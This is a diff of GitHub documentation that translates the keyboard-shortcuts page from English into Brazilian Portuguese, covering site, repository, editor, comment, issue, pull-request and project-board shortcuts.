-The {% data variables.product.prodname_command_palette %} also gives you quick access to a wide range of actions, without the need to remember keyboard shortcuts. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
+O {% data variables.product.prodname_command_palette %} também fornece acesso rápido a uma ampla gama de ações, sem a necessidade de lembrar os atalhos de teclado. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
 
-## Site wide shortcuts
+## Atalhos para o site
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>s</kbd> or <kbd>/</kbd> | Focus the search bar. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
-|<kbd>g</kbd> <kbd>n</kbd> | Go to your notifications. For more information, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}."
-|<kbd>esc</kbd> | When focused on a user, issue, or pull request hovercard, closes the hovercard and refocuses on the element the hovercard is in
-{% if command-palette %}|<kbd>control</kbd><kbd>k</kbd> or <kbd>command</kbd><kbd>k</kbd> | Opens the {% data variables.product.prodname_command_palette %}. If you are editing Markdown text, open the command palette with <kbd>Ctl</kbd><kbd>alt</kbd><kbd>k</kbd> or <kbd>⌘</kbd><kbd>option</kbd><kbd>k</kbd>. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
+| Atalho                       | Descrição                                                                                                                                                                                                                                                                                                                                     |
+| ---------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>s</kbd> or <kbd>/</kbd> | Evidencia a barra de pesquisa. Para obter mais informações, consulte "[Sobre pesquisar no {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)".                                                                                                                    |
+| <kbd>g</kbd> <kbd>n</kbd>    | Vai para suas notificações. Para obter mais informações, consulte {% ifversion fpt or ghes or ghae or ghec %}"[Sobre notificações](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[Sobre notificações](/github/receiving-notifications-about-activity-on-github/about-notifications)"{% endif %}." |
+| <kbd>esc</kbd>               | Quando direcionado a um hovercard de usuário, problema ou pull request, fecha o hovercard e redireciona para o elemento no qual o hovercard está                                                                                                                                                                                              |
 
-## Repositories
+{% if command-palette %}
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>g</kbd> <kbd>c</kbd> | Go to the **Code** tab
-|<kbd>g</kbd> <kbd>i</kbd> | Go to the **Issues** tab. For more information, see "[About issues](/articles/about-issues)."
-|<kbd>g</kbd> <kbd>p</kbd> | Go to the **Pull requests** tab. For more information, see "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."{% ifversion fpt or ghes or ghec %}
-|<kbd>g</kbd> <kbd>a</kbd> | Go to the **Actions** tab. For more information, see "[About Actions](/actions/getting-started-with-github-actions/about-github-actions)."{% endif %}
-|<kbd>g</kbd> <kbd>b</kbd> | Go to the **Projects** tab. For more information, see "[About project boards](/articles/about-project-boards)."
-|<kbd>g</kbd> <kbd>w</kbd> | Go to the **Wiki** tab. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)."{% ifversion fpt or ghec %}
-|<kbd>g</kbd> <kbd>g</kbd> | Go to the **Discussions** tab. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)."{% endif %}
+<kbd>control</kbd><kbd>k</kbd> ou <kbd>command</kbd><kbd>k</kbd> | Abre o {% data variables.product.prodname_command_palette %}. Se você está editando o texto Markdown, abra a paleta de comando com <kbd>Ctl</kbd><kbd>alt</kbd><kbd>k</kbd> ou <kbd>⌘</kbd><kbd>opção</kbd><kbd>k</kbd>. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
 
-## Source code editing
+## Repositórios
 
-| Keyboard shortcut | Description
-|-----------|------------{% ifversion fpt or ghec %}
-|<kbd>.</kbd>| Opens a repository or pull request in the web-based editor. For more information, see "[Web-based editor](/codespaces/developing-in-codespaces/web-based-editor)."{% endif %}
-| <kbd>control b</kbd> or <kbd>command b</kbd> | Inserts Markdown formatting for bolding text
-| <kbd>control i</kbd> or <kbd>command i</kbd> | Inserts Markdown formatting for italicizing text
-| <kbd>control k</kbd> or <kbd>command k</kbd> | Inserts Markdown formatting for creating a link{% ifversion fpt or ghec or ghae or ghes > 3.3 %}
-| <kbd>control shift 7</kbd> or <kbd>command shift 7</kbd> | Inserts Markdown formatting for an ordered list
-| <kbd>control shift 8</kbd> or <kbd>command shift 8</kbd> | Inserts Markdown formatting for an unordered list
-| <kbd>control shift .</kbd> or <kbd>command shift.</kbd> | Inserts Markdown formatting for a quote{% endif %}
-|<kbd>e</kbd> | Open source code file in the **Edit file** tab
-|<kbd>control f</kbd> or <kbd>command f</kbd> | Start searching in file editor
-|<kbd>control g</kbd> or <kbd>command g</kbd> | Find next
-|<kbd>control shift g</kbd> or <kbd>command shift g</kbd> | Find previous
-|<kbd>control shift f</kbd> or <kbd>command option f</kbd> | Replace
-|<kbd>control shift r</kbd> or <kbd>command shift option f</kbd> | Replace all
-|<kbd>alt g</kbd> | Jump to line
-|<kbd>control z</kbd> or <kbd>command z</kbd> | Undo
-|<kbd>control y</kbd> or <kbd>command y</kbd> | Redo
-|<kbd>command shift p</kbd> | Toggles between the **Edit file** and **Preview changes** tabs
-|<kbd>control s</kbd> or <kbd>command s</kbd> | Write a commit message
+| Atalho                    | Descrição                                                                                                                                                                                                                                                  |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>g</kbd> <kbd>c</kbd> | Vai para a aba **Code** (Código)                                                                                                                                                                                                                           |
+| <kbd>g</kbd> <kbd>i</kbd> | Vai para a aba **Issues** (Problemas). Para obter mais informações, consulte "[Sobre problemas](/articles/about-issues)".                                                                                                                                  |
+| <kbd>g</kbd> <kbd>p</kbd> | Vai para a aba **Pull requests**. Para obter mais informações, consulte "[Sobre pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)."{% ifversion fpt or ghes or ghec %}
+| <kbd>g</kbd> <kbd>a</kbd> | Acesse a aba de **Ações**. Para obter mais informações, consulte "[Sobre ações](/actions/getting-started-with-github-actions/about-github-actions)".{% endif %}
+| <kbd>g</kbd> <kbd>b</kbd> | Vai para a aba **Projects** (Projetos). Para obter mais informações, consulte "[Sobre quadros de projeto](/articles/about-project-boards)".                                                                                                                |
+| <kbd>g</kbd> <kbd>w</kbd> | Vai para a aba **Wiki**. Para obter mais informações, consulte "[Sobre wikis](/communities/documenting-your-project-with-wikis/about-wikis)."{% ifversion fpt or ghec %}
+| <kbd>g</kbd> <kbd>g</kbd> | Acesse a aba **Discussões**. Para obter mais informações, consulte "[Sobre discussões](/discussions/collaborating-with-your-community-using-discussions/about-discussions)".{% endif %}
 
-For more keyboard shortcuts, see the [CodeMirror documentation](https://codemirror.net/doc/manual.html#commands).
+## Edição de código-fonte
 
-## Source code browsing
+| Atalho                                                         | Descrição                                                                                                                                                                                           |
+| -------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghec %}
+| <kbd>.</kbd>                                                   | Abre um repositório ou um pull request no editor baseado na web. Para obter mais informações, consulte "[Editor baseado na web](/codespaces/developing-in-codespaces/web-based-editor)".{% endif %}
+| <kbd>control b</kbd> ou <kbd>command b</kbd>                   | Insere formatação Markdown para texto em negrito                                                                                                                                                    |
+| <kbd>control i</kbd> ou <kbd>command i</kbd>                   | Insere formatação Markdown para texto em itálico                                                                                                                                                    |
+| <kbd>control k</kbd> ou <kbd>command k</kbd>                   | Insere a formatação de Markdown para criar o link{% ifversion fpt or ghec or ghae or ghes > 3.3 %}
+| <kbd>control shift 7</kbd> ou <kbd>command shift 7</kbd>       | Insere a formatação de Markdown para uma lista ordenada                                                                                                                                             |
+| <kbd>control shift 8</kbd> ou <kbd>command shift 8</kbd>       | Insere a formatação Markdown para uma lista não ordenada                                                                                                                                            |
+| <kbd>control shift .</kbd> ou <kbd>command shift.</kbd>        | Insere a formatação Markdown para uma citação{% endif %}
+| <kbd>e</kbd>                                                   | Abra o arquivo de código-fonte na aba **Editar arquivo**                                                                                                                                            |
+| <kbd>control f</kbd> ou <kbd>command f</kbd>                   | Começa a pesquisar no editor de arquivo                                                                                                                                                             |
+| <kbd>control g</kbd> ou <kbd>command g</kbd>                   | Localiza o próximo                                                                                                                                                                                  |
+| <kbd>control shift g</kbd> ou <kbd>command shift g</kbd>       | Localiza o anterior                                                                                                                                                                                 |
+| <kbd>control shift f</kbd> ou <kbd>command opção f</kbd>       | Substitui                                                                                                                                                                                           |
+| <kbd>control shift r</kbd> ou <kbd>command shift opção f</kbd> | Substitui todos                                                                                                                                                                                     |
+| <kbd>alt g</kbd>                                               | Pula para linha                                                                                                                                                                                     |
+| <kbd>control z</kbd> ou <kbd>command z</kbd>                   | Desfaz                                                                                                                                                                                              |
+| <kbd>control y</kbd> ou <kbd>command y</kbd>                   | Refaz                                                                                                                                                                                               |
+| <kbd>command shift p</kbd>                                     | Alterna entre as abas **Edit file** (Editar aquivo) e **Preview changes** (Visualizar alterações)                                                                                                   |
+| <kbd>control s</kbd> ou <kbd>comando s</kbd>                   | Escrever uma mensagem de commit                                                                                                                                                                     |
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>t</kbd> | Activates the file finder
-|<kbd>l</kbd> | Jump to a line in your code
-|<kbd>w</kbd> | Switch to a new branch or tag
-|<kbd>y</kbd> | Expand a URL to its canonical form. For more information, see "[Getting permanent links to files](/articles/getting-permanent-links-to-files)."
-|<kbd>i</kbd> | Show or hide comments on diffs. For more information, see "[Commenting on the diff of a pull request](/articles/commenting-on-the-diff-of-a-pull-request)."
-|<kbd>a</kbd> | Show or hide annotations on diffs
-|<kbd>b</kbd> | Open blame view. For more information, see "[Tracing changes in a file](/articles/tracing-changes-in-a-file)."
+Para mais atalhos de teclado, consulte a [Documentação CodeMirror](https://codemirror.net/doc/manual.html#commands).
 
-## Comments
+## Navegação de código-fonte
 
-| Keyboard shortcut | Description
-|-----------|------------
-| <kbd>control b</kbd> or <kbd>command b</kbd> | Inserts Markdown formatting for bolding text
-| <kbd>control i</kbd> or <kbd>command i</kbd> | Inserts Markdown formatting for italicizing text{% ifversion fpt or ghae or ghes > 3.1 or ghec %}
-| <kbd>control e</kbd> or <kbd>command e</kbd> | Inserts Markdown formatting for code or a command within a line{% endif %}
-| <kbd>control k</kbd> or <kbd>command k</kbd> | Inserts Markdown formatting for creating a link
-| <kbd>control shift p</kbd> or <kbd>command shift p</kbd>| Toggles between the **Write** and **Preview** comment tabs{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
-| <kbd>control shift 7</kbd> or <kbd>command shift 7</kbd> | Inserts Markdown formatting for an ordered list
-| <kbd>control shift 8</kbd> or <kbd>command shift 8</kbd> | Inserts Markdown formatting for an unordered list{% endif %}
-| <kbd>control enter</kbd> | Submits a comment
-| <kbd>control .</kbd> and then <kbd>control [saved reply number]</kbd> | Opens saved replies menu and then autofills comment field with a saved reply. For more information, see "[About saved replies](/articles/about-saved-replies)."{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
-| <kbd>control shift .</kbd> or <kbd>command shift.</kbd> | Inserts Markdown formatting for a quote{% endif %}{% ifversion fpt or ghec %}
-|<kbd>control g</kbd> or <kbd>command g</kbd> | Insert a suggestion. For more information, see "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)." |{% endif %}
-| <kbd>r</kbd> | Quote the selected text in your reply. For more information, see "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax#quoting-text)." |
+| Atalho       | Descrição                                                                                                                                                                  |
+| ------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>t</kbd> | Ativa o localizador de arquivos                                                                                                                                            |
+| <kbd>l</kbd> | Pula para uma linha no código                                                                                                                                              |
+| <kbd>w</kbd> | Muda para um novo branch ou tag                                                                                                                                            |
+| <kbd>y</kbd> | Expande a URL para sua forma canônica. Para obter mais informações, consulte "[Obter links permanentes em arquivos](/articles/getting-permanent-links-to-files)".          |
+| <kbd>i</kbd> | Mostra ou oculta comentários em diffs. Para obter mais informações, consulte "[Comentar no diff de uma pull request](/articles/commenting-on-the-diff-of-a-pull-request)". |
+| <kbd>a</kbd> | Exibir ou ocultar anotações em diffs                                                                                                                                       |
+| <kbd>b</kbd> | Abre a vsualização de blame. Para obter mais informações, consulte "[Rastrear alterações em um arquivo](/articles/tracing-changes-in-a-file)".                             |
 
-## Issue and pull request lists
+## Comentários
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>c</kbd> | Create an issue
-| <kbd>control /</kbd> or <kbd>command /</kbd> | Focus your cursor on the issues or pull requests search bar. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)."||
-|<kbd>u</kbd> | Filter by author
-|<kbd>l</kbd> | Filter by or edit labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)."
-| <kbd>alt</kbd> and click | While filtering by labels, exclude labels. For more information, see "[Filtering issues and pull requests by labels](/articles/filtering-issues-and-pull-requests-by-labels)."
-|<kbd>m</kbd> | Filter by or edit milestones. For more information, see "[Filtering issues and pull requests by milestone](/articles/filtering-issues-and-pull-requests-by-milestone)."
-|<kbd>a</kbd> | Filter by or edit assignee. For more information, see "[Filtering issues and pull requests by assignees](/articles/filtering-issues-and-pull-requests-by-assignees)."
-|<kbd>o</kbd> or <kbd>enter</kbd> | Open issue
+| Atalho                                                               | Descrição                                                                                                                                                                                                                                                      |
+| -------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>control b</kbd> ou <kbd>command b</kbd>                         | Insere formatação Markdown para texto em negrito                                                                                                                                                                                                               |
+| <kbd>control i</kbd> ou <kbd>command i</kbd>                         | Insere a formatação Markdown para texto em itálico{% ifversion fpt or ghae or ghes > 3.1 or ghec %}
+| <kbd>controle e</kbd> ou <kbd>comando e</kbd>                        | Insere a formatação Markdown para código ou um comando dentro da linha{% endif %}
+| <kbd>control k</kbd> ou <kbd>command k</kbd>                         | Insere formatação Markdown para criar um link                                                                                                                                                                                                                  |
+| <kbd>control shift p</kbd> ou <kbd>command shift p</kbd>             | Alterna entre as abas de comentários **Escrever** e **Visualizar**{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
+| <kbd>control shift 7</kbd> ou <kbd>command shift 7</kbd>             | Insere a formatação de Markdown para uma lista ordenada                                                                                                                                                                                                        |
+| <kbd>control shift 8</kbd> ou <kbd>command shift 8</kbd>             | Insere a formatação Markdown para uma lista não ordenada{% endif %}
+| <kbd>control enter</kbd>                                             | Envia um comentário                                                                                                                                                                                                                                            |
+| <kbd>control .</kbd> e <kbd>control [número de resposta salvo]</kbd> | Abre o menu de respostas salvas e autocompleta o campo de comentário com uma resposta salva. Para obter mais informações, consulte "[Sobre respostas salvas](/articles/about-saved-replies)".{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
+| <kbd>control shift .</kbd> ou <kbd>command shift.</kbd>              | Insere a formatação Markdown para uma citação{% endif %}{% ifversion fpt or ghec %}
+| <kbd>control g</kbd> ou <kbd>command g</kbd>                         | Insere uma sugestão. Para obter mais informações, consulte "[Revisar alterações propostas em uma pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)". 
+{% endif %}
+| <kbd>r</kbd>                                                         | Cita o texto selecionado em sua resposta. Para obter mais informações, consulte "[Sintaxe básica de gravação e formatação](/articles/basic-writing-and-formatting-syntax#quoting-text)".                                                                       |
 
-## Issues and pull requests
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>q</kbd> | Request a reviewer. For more information, see "[Requesting a pull request review](/articles/requesting-a-pull-request-review/)."
-|<kbd>m</kbd> | Set a milestone. For more information, see "[Associating milestones with issues and pull requests](/articles/associating-milestones-with-issues-and-pull-requests/)."
-|<kbd>l</kbd> | Apply a label. For more information, see "[Applying labels to issues and pull requests](/articles/applying-labels-to-issues-and-pull-requests/)."
-|<kbd>a</kbd> | Set an assignee. For more information, see "[Assigning issues and pull requests to other {% data variables.product.company_short %} users](/articles/assigning-issues-and-pull-requests-to-other-github-users/)."
-|<kbd>cmd + shift + p</kbd> or <kbd>control + shift + p</kbd> | Toggles between the **Write** and **Preview** tabs{% ifversion fpt or ghec %}
-|<kbd>alt</kbd> and click | When creating an issue from a task list, open the new issue form in the current tab by holding <kbd>alt</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."
-|<kbd>shift</kbd> and click | When creating an issue from a task list, open the new issue form in a new tab by holding <kbd>shift</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."
-|<kbd>command</kbd> or <kbd>control + shift</kbd> and click | When creating an issue from a task list, open the new issue form in the new window by holding <kbd>command</kbd> or <kbd>control + shift</kbd> and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."{% endif %}
+## Listas de problemas e pull requests
 
-## Changes in pull requests
+| Atalho                                       | Descrição                                                                                                                                                                                                                                                        |
+| -------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>c</kbd>                                 | Cria um problema                                                                                                                                                                                                                                                 |
+| <kbd>control /</kbd> ou <kbd>command /</kbd> | Evidencia seu cursor na barra de pesquisa de problemas e pull requests. Para obter mais informações, consulte "[Filtrando e pesquisando problemas e pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests). "£" |
+| <kbd>u</kbd>                                 | Filtra por autor                                                                                                                                                                                                                                                 |
+| <kbd>l</kbd>                                 | Filtra por ou edita etiquetas. Para obter mais informações, consulte "[Filtrar problemas e pull requests por etiquetas](/articles/filtering-issues-and-pull-requests-by-labels)".                                                                                |
+| <kbd>alt</kbd> e clique                      | Ao filtrar por etiquetas, exclui etiquetas. Para obter mais informações, consulte "[Filtrar problemas e pull requests por etiquetas](/articles/filtering-issues-and-pull-requests-by-labels)".                                                                   |
+| <kbd>m</kbd>                                 | Filtra por ou edita marcos. Para obter mais informações, consulte "[Filtrar problemas e pull requests por marcos](/articles/filtering-issues-and-pull-requests-by-milestone)".                                                                                   |
+| <kbd>a</kbd>                                 | Filtra por ou edita um responsável. Para obter mais informações, consulte "[Filtrar problemas e pull requests por responsáveis](/articles/filtering-issues-and-pull-requests-by-assignees)".                                                                     |
+| <kbd>o</kbd> ou <kbd>enter</kbd>             | Abre um problema                                                                                                                                                                                                                                                 |
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>c</kbd> | Open the list of commits in the pull request
-|<kbd>t</kbd> | Open the list of changed files in the pull request
-|<kbd>j</kbd> | Move selection down in the list
-|<kbd>k</kbd> | Move selection up in the list
-| <kbd>cmd + shift + enter </kbd> | Add a single comment on a pull request diff |
-| <kbd>alt</kbd> and click | Toggle between collapsing and expanding all outdated review comments in a pull request by holding down `alt` and clicking **Show outdated** or **Hide outdated**.|{% ifversion fpt or ghes or ghae or ghec %}
-| Click, then <kbd>shift</kbd> and click | Comment on multiple lines of a pull request by clicking a line number, holding <kbd>shift</kbd>, then clicking another line number. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request)."|{% endif %}
+## Problemas e pull requests
+| Atalho                                                       | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| ------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>q</kbd>                                                 | Solicita um revisor. Para obter mais informações, consulte "[Solicitar uma revisão de pull request](/articles/requesting-a-pull-request-review/)".                                                                                                                                                                                                                                                                                                         |
+| <kbd>m</kbd>                                                 | Define um marco. Para obter mais informações, consulte "[Associar marcos a problemas e pull requests](/articles/associating-milestones-with-issues-and-pull-requests/)".                                                                                                                                                                                                                                                                                   |
+| <kbd>l</kbd>                                                 | Aplica uma etiqueta. Para obter mais informações, consulte "[Aplicar etiquetas a problemas e pull requests](/articles/applying-labels-to-issues-and-pull-requests/)".                                                                                                                                                                                                                                                                                      |
+| <kbd>a</kbd>                                                 | Define um responsável. Para obter mais informações, consulte "[Atribuir problemas e pull requests a outros usuários {% data variables.product.company_short %}](/articles/assigning-issues-and-pull-requests-to-other-github-users/)".                                                                                                                                                                                                                     |
+| <kbd>cmd + shift + p</kbd> ou <kbd>control + shift + p</kbd> | Alterna entre as abas **Escrever** e **Visualizar**{% ifversion fpt or ghec %}
+| <kbd>alt</kbd> e clique                                      | Ao criar um problema a partir de uma lista de tarefas, abra o novo formulário de problemas na aba atual, mantendo <kbd>alt</kbd> pressionado e clicando no {% octicon "issue-opened" aria-label="The issue opened icon" %} no canto superior direito da tarefa. Para obter mais informações, consulte "[Sobre listas de tarefas](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)".                                                |
+| <kbd>shift</kbd> e clique                                    | Ao criar um problema a partir de uma lista de tarefas, abra o novo formulário de problemas em uma nova aba mantendo <kbd>shift</kbd> pressionado e clicando em {% octicon "issue-opened" aria-label="The issue opened icon" %} no canto superior direito da tarefa. Para obter mais informações, consulte "[Sobre listas de tarefas](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)".                                            |
+| <kbd>command</kbd> ou <kbd>control + shift</kbd> e clique    | Ao criar um problema a partir de uma lista de tarefas, abra o novo formulário de problemas na nova janela mantendo <kbd>command</kbd> ou <kbd>controle + shift</kbd> pressionado e clicando em {% octicon "issue-opened" aria-label="The issue opened icon" %} no canto superior direito da tarefa. Para obter mais informações, consulte "[Sobre listas de tarefas](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."{% endif %}
 
-## Project boards
+## Alterações em pull requests
 
-### Moving a column
+| Atalho                                       | Descrição                                                                                                                                                                                                                                                                                                                                                                  |
+| -------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <kbd>c</kbd>                                 | Abre a lista de commits na pull request                                                                                                                                                                                                                                                                                                                                    |
+| <kbd>t</kbd>                                 | Abre a lista de arquivos alterados na pull request                                                                                                                                                                                                                                                                                                                         |
+| <kbd>j</kbd>                                 | Move a seleção para baixo na lista                                                                                                                                                                                                                                                                                                                                         |
+| <kbd>k</kbd>                                 | Move a seleção para cima na lista                                                                                                                                                                                                                                                                                                                                          |
+| <kbd>cmd + shift + enter </kbd>              | Adiciona um comentário único no diff da pull request                                                                                                                                                                                                                                                                                                                       |
+| <kbd>alt</kbd> e clique                      | Alterna entre opções de recolhimento e expansão de todos os comentários de revisão desatualizados em uma pull request ao manter pressionada a tecla `alt` e clicar em **Mostrar desatualizados** ou **Ocultar desatualizados**.|{% ifversion fpt or ghes or ghae or ghec %}
+| Clique, em seguida <kbd>shift</kbd> e clique | Comente em várias linhas de uma pull request clicando em um número de linha, mantendo pressionado <kbd>shift</kbd>, depois clique em outro número de linha. Para obter mais informações, consulte "[Comentando em uma pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request)."
+{% endif %}
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>enter</kbd> or <kbd>space</kbd> | Start moving the focused column
-|<kbd>escape</kbd> | Cancel the move in progress
-|<kbd>enter</kbd> | Complete the move in progress
-|<kbd>←</kbd> or <kbd>h</kbd> | Move column to the left
-|<kbd>command + ←</kbd> or <kbd>command + h</kbd> or <kbd>control + ←</kbd> or <kbd>control + h</kbd> | Move column to the leftmost position
-|<kbd>→</kbd> or <kbd>l</kbd> | Move column to the right
-|<kbd>command + →</kbd> or <kbd>command + l</kbd> or <kbd>control + →</kbd> or <kbd>control + l</kbd> | Move column to the rightmost position
+## Quadros de projeto
 
-### Moving a card
+### Mover uma coluna
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>enter</kbd> or <kbd>space</kbd> | Start moving the focused card
-|<kbd>escape</kbd> | Cancel the move in progress
-|<kbd>enter</kbd> | Complete the move in progress
-|<kbd>↓</kbd> or <kbd>j</kbd> | Move card down
-|<kbd>command + ↓</kbd> or <kbd>command + j</kbd> or <kbd>control + ↓</kbd> or <kbd>control + j</kbd> | Move card to the bottom of the column
-|<kbd>↑</kbd> or <kbd>k</kbd> | Move card up
-|<kbd>command + ↑</kbd> or <kbd>command + k</kbd> or <kbd>control + ↑</kbd> or <kbd>control + k</kbd> | Move card to the top of the column
-|<kbd>←</kbd> or <kbd>h</kbd> | Move card to the bottom of the column on the left
-|<kbd>shift + ←</kbd> or <kbd>shift + h</kbd> | Move card to the top of the column on the left
-|<kbd>command + ←</kbd> or <kbd>command + h</kbd> or <kbd>control + ←</kbd> or <kbd>control + h</kbd> | Move card to the bottom of the leftmost column
-|<kbd>command + shift + ←</kbd> or <kbd>command + shift + h</kbd> or <kbd>control + shift + ←</kbd> or <kbd>control + shift + h</kbd> | Move card to the top of the leftmost column
-|<kbd>→</kbd> | Move card to the bottom of the column on the right
-|<kbd>shift + →</kbd> or <kbd>shift + l</kbd> | Move card to the top of the column on the right
-|<kbd>command + →</kbd> or <kbd>command + l</kbd> or <kbd>control + →</kbd> or <kbd>control + l</kbd> | Move card to the bottom of the rightmost column
-|<kbd>command + shift + →</kbd> or <kbd>command + shift + l</kbd> or <kbd>control + shift + →</kbd> or <kbd>control + shift + l</kbd> | Move card to the bottom of the rightmost column
+| Atalho                                                                                               | Descrição                                    |
+| ---------------------------------------------------------------------------------------------------- | -------------------------------------------- |
+| <kbd>enter</kbd> ou <kbd>space</kbd>                                                                 | Começa a mover a coluna em evidência         |
+| <kbd>escape</kbd>                                                                                    | Cancela o movimento em curso                 |
+| <kbd>enter</kbd>                                                                                     | Completa o movimento em curso                |
+| <kbd>←</kbd> ou <kbd>h</kbd>                                                                         | Move a coluna para a esquerda                |
+| <kbd>command + ←</kbd> ou <kbd>command + h</kbd> ou <kbd>control + ←</kbd> ou <kbd>control + h</kbd> | Move a coluna para a posição mais à esquerda |
+| <kbd>→</kbd> ou <kbd>l</kbd>                                                                         | Move a coluna para a direita                 |
+| <kbd>command + →</kbd> ou <kbd>command + l</kbd> ou <kbd>control + →</kbd> ou <kbd>control + l</kbd> | Move a coluna para a posição mais à direita  |
 
-### Previewing a card
+### Mover um cartão
 
-| Keyboard shortcut | Description
-|-----------|------------
-|<kbd>esc</kbd> | Close the card preview pane
+| Atalho                                                                                                                               | Descrição                                                     |
+| ------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------- |
+| <kbd>enter</kbd> ou <kbd>space</kbd>                                                                                                 | Começa a mover o cartão em evidência                          |
+| <kbd>escape</kbd>                                                                                                                    | Cancela o movimento em curso                                  |
+| <kbd>enter</kbd>                                                                                                                     | Completa o movimento em curso                                 |
+| <kbd>↓</kbd> ou <kbd>j</kbd>                                                                                                         | Move o cartão para baixo                                      |
+| <kbd>command + ↓</kbd> ou <kbd>command + j</kbd> ou <kbd>control + ↓</kbd> ou <kbd>control + j</kbd>                                 | Move o cartão para a parte inferior da coluna                 |
+| <kbd>↑</kbd> ou <kbd>k</kbd>                                                                                                         | Move o cartão para cima                                       |
+| <kbd>command + ↑</kbd> ou <kbd>command + k</kbd> ou <kbd>control + ↑</kbd> ou <kbd>control + k</kbd>                                 | Move o cartão para a parte superior da coluna                 |
+| <kbd>←</kbd> ou <kbd>h</kbd>                                                                                                         | Move o cartão para a parte inferior da coluna à esquerda      |
+| <kbd>shift + ←</kbd> ou <kbd>shift + h</kbd>                                                                                         | Move o cartão para a parte superior da coluna à esquerda      |
+| <kbd>command + ←</kbd> ou <kbd>command + h</kbd> ou <kbd>control + ←</kbd> ou <kbd>control + h</kbd>                                 | Move o cartão para a parte inferior da coluna mais à esquerda |
+| <kbd>command + shift + ←</kbd> ou <kbd>command + shift + h</kbd> ou <kbd>control + shift + ←</kbd> ou <kbd>control + shift + h</kbd> | Move o cartão para a parte superior da coluna mais à esquerda |
+| <kbd>→</kbd>                                                                                                                         | Move o cartão para a parte inferior da coluna à direita       |
+| <kbd>shift + →</kbd> ou <kbd>shift + l</kbd>                                                                                         | Move o cartão para a parte superior da coluna à direita       |
+| <kbd>command + →</kbd> ou <kbd>command + l</kbd> ou <kbd>control + →</kbd> ou <kbd>control + l</kbd>                                 | Move o cartão para a parte inferior da coluna mais à direita  |
+| <kbd>command + shift + →</kbd> ou <kbd>command + shift + l</kbd> ou <kbd>control + shift + →</kbd> ou <kbd>control + shift + l</kbd> | Move o cartão para a parte inferior da coluna mais à direita  |
+
+### Pré-visualizar um cartão
+
+| Atalho         | Descrição                                |
+| -------------- | ---------------------------------------- |
+| <kbd>esc</kbd> | Fecha o painel de visualização do cartão |
 
